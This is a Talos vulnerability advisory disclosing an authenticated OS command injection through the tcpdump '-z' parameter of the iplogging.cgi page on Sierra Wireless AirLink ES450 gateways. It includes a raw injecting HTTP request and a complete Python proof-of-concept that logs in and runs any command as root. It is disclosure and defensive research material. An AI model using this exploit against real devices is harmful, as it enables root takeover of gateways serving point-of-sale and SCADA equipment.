Talos Vulnerability Report

Summary

An exploitable command injection vulnerability exists in the ACEManager iplogging.cgi functionality of Sierra Wireless AirLink ES450 FW 4.9.3. A specially crafted HTTP request can inject arbitrary commands, resulting in arbitrary command execution. An attacker can send an authenticated HTTP request to trigger this vulnerability.

Tested Versions

Sierra Wireless AirLink ES450 FW 4.9.3

Product URLs

https://www.sierrawireless.com/products-and-solutions/routers-gateways/es450/

CVSSv3 Score

9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

Details

Sierra Wireless manufactures wireless communications equipment. They provide embedded solutions and wireless hardware solutions, including both the ES450 and GX450 devices. The AirLink ES450 is an LTE gateway designed for distributed enterprise. The ES450 is typically seen connecting point-of-sale devices, remote SCADA equipment, or other business-critical equipment. The AirLink ES450 also provides a terminal server for remote out-of-band administration.

ACEManager is the web server included with the AirLink ES450. This web server is responsible for the majority of interactions in the device. Some specific capabilities of the web server are routing, device reconfiguration, user authentication and certificate management. The vendor has stated that the ACEManager web application is not accessible by default from the Cellular WAN.

If a request is made to /admin/tools/iplogging.cgi within ACEManager, the -z flag is not properly escaped, or removed. This flag is responsible for providing a postrotate-command to be provided to tcpdump which allows for command injection as root. This flag needs the -G flag to properly set up the rotation timeframe for the command to be executed.

The following POST request will trigger the vulnerability.

 POST /admin/tools/iplogging.cgi HTTP/1.1
 Host: 192.168.13.31:9191
 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
 Accept: text/plain, */*; q=0.01
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Referer: http://192.168.13.31:9191/admin/tools/iplogging.html
 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 X-Requested-With: XMLHttpRequest
 Content-Length: 63
 Cookie: token=1e9c07e135a15e40b3290c320245ca9a
 Connection: close
 
 tcpdumpParams=tcpdump -z reboot -G 2 -i eth0&stateRequest=start

This vulnerability was discovered and tested using the AirLink ES450. This vulnerability also most likely affects the AirLink GX450 product, as well.

Exploit Proof of Concept

 #!/usr/bin/env python
 #Author : Carl Hurd, Cisco Talos
 import sys
 import socket
 import time
 import requests

 def auth(ip, port, password):
      data = """<request xmlns="urn:acemanager">
 <connect>
 <login>user</login>
 <password><![CDATA[{}]]></password>
 </connect>
 </request>""".format(password)

      response = requests.post("http://"+ip+":"+port+"/xml/Connect.xml", data=data)

       try:
           cookies = dict(token=response.headers["Set-Cookie"].split("; ")[0][len("token="):])
           return cookies
      except:
           print("Error while authenticating")
           sys.exit(0)

 def main():
      if len(sys.argv) < 5 or len(sys.argv) > 5:
           print("Usage : {} [ip address] [port] [password of user] [cmd to run]".format(sys.argv[0]))
           sys.exit(0)
      
      ip = sys.argv[1]
      port = sys.argv[2]
      password = sys.argv[3]
      cmd = sys.argv[4]

      print("Injecting command : {}".format(cmd))

      cookies = auth(ip, port, password)

      files = {'save-as-filename': (None, "iplogging_params.tcp"), 'file-location': (None, "/tmp/iplogging_params.tcp"), 'upload-file': ('exploit.xml', 'none')}
      response = requests.post("http://"+ip+":"+port+"/cgi-bin/iplogging_upload.cgi", cookies=cookies, files=files)

      response = requests.post("http://"+ip+":"+port+"/admin/tools/iplogging.cgi", cookies=cookies, data="stateRequest=getCmds")

      data = "tcpdumpParams=tcpdump -z {} -G 1 -i eth0&stateRequest=start".format(cmd)
      response = requests.post("http://"+ip+":"+port+"/admin/tools/iplogging.cgi", cookies=cookies, data=data)

      response = requests.post("http://"+ip+":"+port+"/admin/tools/iplogging.cgi", cookies=cookies, data="stateRequest=queryStatus")

 if __name__ == "__main__":
     main()

Timeline

2018-12-14 - Vendor disclosure
2018-12-17 - Vendor acknowledged
2019-01-08 - Discussion to review vendor’s analysis of issues<br 2019-02-26 - Vendor provided analysis of CVSS scoring
2019-03-26 - Vendor established timelines for fix/public disclosure
2019-04-20 - Talos provided revised CVSS score on TALOS-2018-0746, TALOS-2018-0751, TALOS-2018-0752, TALOS-2018-0755, and TALOS-2018-0756
2019-04-25 - Public Release